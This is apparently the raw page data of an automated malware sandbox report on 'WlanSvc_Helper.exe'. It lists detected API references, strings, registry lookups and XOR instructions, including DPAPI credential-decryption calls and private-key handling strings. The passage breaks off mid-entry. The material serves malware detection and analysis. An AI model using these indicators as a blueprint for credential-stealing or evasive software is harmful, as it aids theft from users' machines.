33:"SampleDetailWrapper" 34:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$33"] 66:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 35:Tada,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "WlanSvc_Helper.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "WlanSvc_Helper.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "WlanSvc_Helper.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "WlanSvc_Helper.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "WlanSvc_Helper.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "WlanSvc_Helper.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "WlanSvc_Helper.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "WlanSvc_Helper.exe") Found reference to API "Timer: QueryPerformanceFrequency failed with error" (Indicator: "QueryPerformanceFrequency"; File: "WlanSvc_Helper.exe") Found reference to API "Timer: QueryPerformanceCounter failed with error" (Indicator: "QueryPerformanceCounter"; File: "WlanSvc_Helper.exe") Found reference to API "Timer: QueryPerformanceFrequency failed with error" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "Timer: QueryPerformanceCounter failed with error" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")36:Tcd6,Found reference to API "OpenServiceW" (Indicator: "OpenService"; File: "WlanSvc_Helper.exe") Found reference to API "OpenServiceW" (Indicator: "OpenService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "813299175686,2508,3207,,OpenServiceW,advapi32.dll,"00:35:08.250",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp") Found reference to API "2528057271,2508,3207,,OpenServiceW,advapi32.dll,"00:35:37.093",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "883050707038,2508,3207,,OpenServiceW,advapi32.dll,"00:35:37.312",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "883052461228,2508,3207,,OpenServiceW,advapi32.dll,"00:35:37.312",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "38443768205,2508,3207,,OpenServiceW,advapi32.dll,"00:35:18.734",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "8154938433361,4540,3207,,OpenServiceW,advapi32.dll,"00:36:07.265",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "8154900627288,2508,3207,,OpenServiceW,advapi32.dll,"00:36:07.250",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "8153850169302,2508,3207,,OpenServiceW,advapi32.dll,"00:36:06.812",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "8154377392948,2508,3207,,OpenServiceW,advapi32.dll,"00:36:07.031",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "145975527245,4540,3207,,OpenServiceW,advapi32.dll,"00:36:03.531",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "61077309634,2508,3207,,OpenServiceW,advapi32.dll,"00:37:33.156",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp") Found reference to API "8361103396732,7548,3207,,OpenServiceW,advapi32.dll,"00:37:33.156",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp") Found reference to API "8361042318486,1116,3207,,OpenServiceW,advapi32.dll,"00:37:33.140",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp") Found reference to API "8361075767014,2508,3207,,OpenServiceW,advapi32.dll,"00:37:33.156",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp") Found reference to API "8361039182332,1116,3207,,OpenServiceW,advapi32.dll,"00:37:33.140",RX=0,PX=0" (Indicator: "OpenService"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp")37:T682,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "WlanSvc_Helper.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "WlanSvc_Helper.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; File: "WlanSvc_Helper.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; File: "WlanSvc_Helper.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")38:T4eb,"WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "WlanSvc_Helper.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER") "WlanSvc_Helper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER")39:T528,Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; File: "WlanSvc_Helper.exe") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found reference to API "CryptProtectData" (Indicator: "CryptProtectData"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptProtectData failed:" (Indicator: "CryptProtectData"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptUnprotectData failed:" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptProtectData failed:" (Indicator: "CryptProtectData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[PKSF] CryptUnprotectData failed:" (Indicator: "CryptUnprotectData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CryptProtectData" (Indicator: "CryptProtectData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")3a:T102b,Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; File: "WlanSvc_Helper.exe") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "WlanSvc_Helper.exe") Found api reference "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found api reference "CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; File: "WlanSvc_Helper.exe") Found api reference "CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; File: "WlanSvc_Helper.exe") Found api reference "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "WlanSvc_Helper.exe") Found api reference "BCryptDecrypt" (Indicator: "CryptDecrypt"; File: "WlanSvc_Helper.exe") Found api reference "BCryptEncrypt" (Indicator: "BCryptEncrypt"; File: "WlanSvc_Helper.exe") Found api reference "BCryptEncrypt" (Indicator: "CryptEncrypt"; File: "WlanSvc_Helper.exe") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; File: "WlanSvc_Helper.exe") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; File: "WlanSvc_Helper.exe") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; File: "WlanSvc_Helper.exe") Found api reference "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; File: "WlanSvc_Helper.exe") Found api reference "BCryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "WlanSvc_Helper.exe") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; File: "WlanSvc_Helper.exe") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; File: "WlanSvc_Helper.exe") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; File: "WlanSvc_Helper.exe") Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; File: "WlanSvc_Helper.exe") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "WlanSvc_Helper.exe") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "WlanSvc_Helper.exe") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; File: "WlanSvc_Helper.exe") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; File: "WlanSvc_Helper.exe") Found api reference "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "WlanSvc_Helper.exe") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; File: "WlanSvc_Helper.exe") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "WlanSvc_Helper.exe") Found api reference "BCryptSetProperty" (Indicator: "BCryptSetProperty"; File: "WlanSvc_Helper.exe") Found api reference "[Handshake] BCryptGenRandom failed:" (Indicator: "BCryptGenRandom"; File: "WlanSvc_Helper.exe") Found api reference "[Handshake] BCryptGenRandom failed:" (Indicator: "CryptGenRandom"; File: "WlanSvc_Helper.exe") Found api reference "[PKSF] CryptUnprotectData failed:" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found api reference "CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found api reference "[Handshake] BCryptGenRandom failed:" (Indicator: "BCryptGenRandom"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found api reference "[Handshake] BCryptGenRandom failed:" (Indicator: "CryptGenRandom"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")3b:T62e,Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptEncrypt" (Indicator: "BCryptEncrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptEncrypt" (Indicator: "BCryptEncrypt"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")3c:T204e,Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-4709-000000014013F190 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-4709-000000014013F190 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-4709-000000014013F190 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-4709-000000014013F190 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-4710-000000014013C2E0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-4710-000000014013C2E0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-4710-000000014013C2E0 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-4710-000000014013C2E0 Assembly shows XOR instruction xor rax rbp in Stream UID: 14489-4837-0000000140132630 Assembly shows XOR instruction xor eax ebp in Stream UID: 14489-4837-0000000140132630 Assembly shows XOR instruction xor rcx rbp in Stream UID: 14489-4837-0000000140132630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14489-4837-0000000140132630 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-4899-000000014012D720 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-4899-000000014012D720 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-4899-000000014012D720 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-4899-000000014012D720 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5171-00000001400F0940 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5171-00000001400F0940 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5171-00000001400F0940 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5171-00000001400F0940 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5181-00000001400F7500 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5181-00000001400F7500 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5181-00000001400F7500 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5181-00000001400F7500 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5193-00000001400EEB10 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5193-00000001400EEB10 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5193-00000001400EEB10 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5193-00000001400EEB10 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5225-0000000140004840 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5225-0000000140004840 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5225-0000000140004840 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5225-0000000140004840 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5459-00000001400BB620 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5459-00000001400BB620 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5459-00000001400BB620 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5459-00000001400BB620 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5465-00000001400BB1D0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5465-00000001400BB1D0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5465-00000001400BB1D0 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5465-00000001400BB1D0 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5477-00000001400B9700 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5477-00000001400B9700 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5477-00000001400B9700 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5477-00000001400B9700 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5478-00000001400B91D0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5478-00000001400B91D0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5478-00000001400B91D0 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5478-00000001400B91D0 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5480-00000001400B6820 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5480-00000001400B6820 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5485-00000001400B4270 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5485-00000001400B4270 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5485-00000001400B4270 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5485-00000001400B4270 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5489-00000001400B2DA0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5489-00000001400B2DA0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5489-00000001400B2DA0 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5489-00000001400B2DA0 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5496-00000001400B2020 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5496-00000001400B2020 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5496-00000001400B2020 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5496-00000001400B2020 Assembly shows XOR instruction xor rax rbp in Stream UID: 14489-5497-000000014013B710 Assembly shows XOR instruction xor eax ebp in Stream UID: 14489-5497-000000014013B710 Assembly shows XOR instruction xor rcx rbp in Stream UID: 14489-5497-000000014013B710 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14489-5497-000000014013B710 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5508-00000001400AE5F0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5508-00000001400AE5F0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5508-00000001400AE5F0 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5508-00000001400AE5F0 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5513-00000001400A9380 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5513-00000001400A9380 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5513-00000001400A9380 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5513-00000001400A9380 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5516-00000001400A8DD0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5516-00000001400A8DD0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5516-00000001400A8DD0 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5516-00000001400A8DD0 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5539-00000001400A0550 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5539-00000001400A0550 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5539-00000001400A0550 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5539-00000001400A0550 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5552-00000001400A1790 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5552-00000001400A1790 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5552-00000001400A1790 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5552-00000001400A1790 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5613-000000014008C290 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5613-000000014008C290 Assembly shows XOR instruction xor rcx rsp in Stream UID: 14489-5613-000000014008C290 Assembly shows XOR instruction xor ecx esp in Stream UID: 14489-5613-000000014008C290 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5615-00000001400892C0 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5615-00000001400892C0 Assembly shows XOR instruction xor rax rsp in Stream UID: 14489-5618-0000000140089160 Assembly shows XOR instruction xor eax esp in Stream UID: 14489-5618-00000001400891603d:T776,Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; File: "WlanSvc_Helper.exe") Found reference to API "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "WlanSvc_Helper.exe") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found reference to API "CryptProtectData" (Indicator: "CryptProtectData"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDecrypt" (Indicator: "CryptDecrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptEncrypt" (Indicator: "BCryptEncrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptEncrypt" (Indicator: "CryptEncrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptCreateHash" (Indicator: "CryptCreateHash"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptHashData" (Indicator: "CryptHashData"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptGetProperty" (Indicator: "BCryptGetProperty"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptSetProperty" (Indicator: "BCryptSetProperty"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptProtectData failed:" (Indicator: "CryptProtectData"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptUnprotectData failed:" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe")3e:T4f0,Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; File: "WlanSvc_Helper.exe") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "WlanSvc_Helper.exe") Found reference to API "BCryptDecrypt" (Indicator: "CryptDecrypt"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptUnprotectData failed:" (Indicator: "CryptUnprotectData"; File: "WlanSvc_Helper.exe") Found reference to API "[PKSF] CryptUnprotectData failed:" (Indicator: "CryptUnprotectData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "BCryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")3f:T9dd,Found string "[Crypto] Ed25519Sign: bad private key size:" (Indicator: "private key"; File: "WlanSvc_Helper.exe") Found string "[Crypto] Ed25519Verify: bad public key size:" (Indicator: "public key"; File: "WlanSvc_Helper.exe") Found string "[Crypto] ComputeECDH: bad private key size" (Indicator: "private key"; File: "WlanSvc_Helper.exe") Found string "[Crypto] ComputeECDH: bad peer public key size" (Indicator: "public key"; File: "WlanSvc_Helper.exe") Found string "Bad ephemeral private key size" (Indicator: "private key"; File: "WlanSvc_Helper.exe") Found string "[Handshake] ECIES decrypt: bad private key size" (Indicator: "private key"; File: "WlanSvc_Helper.exe") Found string "[Crypto] Ed25519Sign: bad private key size:" (Indicator: "private key"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "[Crypto] Ed25519Verify: bad public key size:" (Indicator: "public key"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "[Crypto] ComputeECDH: bad private key size" (Indicator: "private key"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "[Crypto] ComputeECDH: bad peer public key size" (Indicator: "public key"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "Bad ephemeral private key size" (Indicator: "private key"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "[Handshake] ECIES decrypt: bad private key size" (Indicator: "private key"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found string "Encrypted Private Key" (Indicator: "private key"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp, 00000000-00006464.00000002.138708.48CA9000.00000004.mdmp, 00000000-00006464.00000003.144214.48CA9000.00000004.mdmp") Found string "Private Key Archival" (Indicator: "private key"; Source: 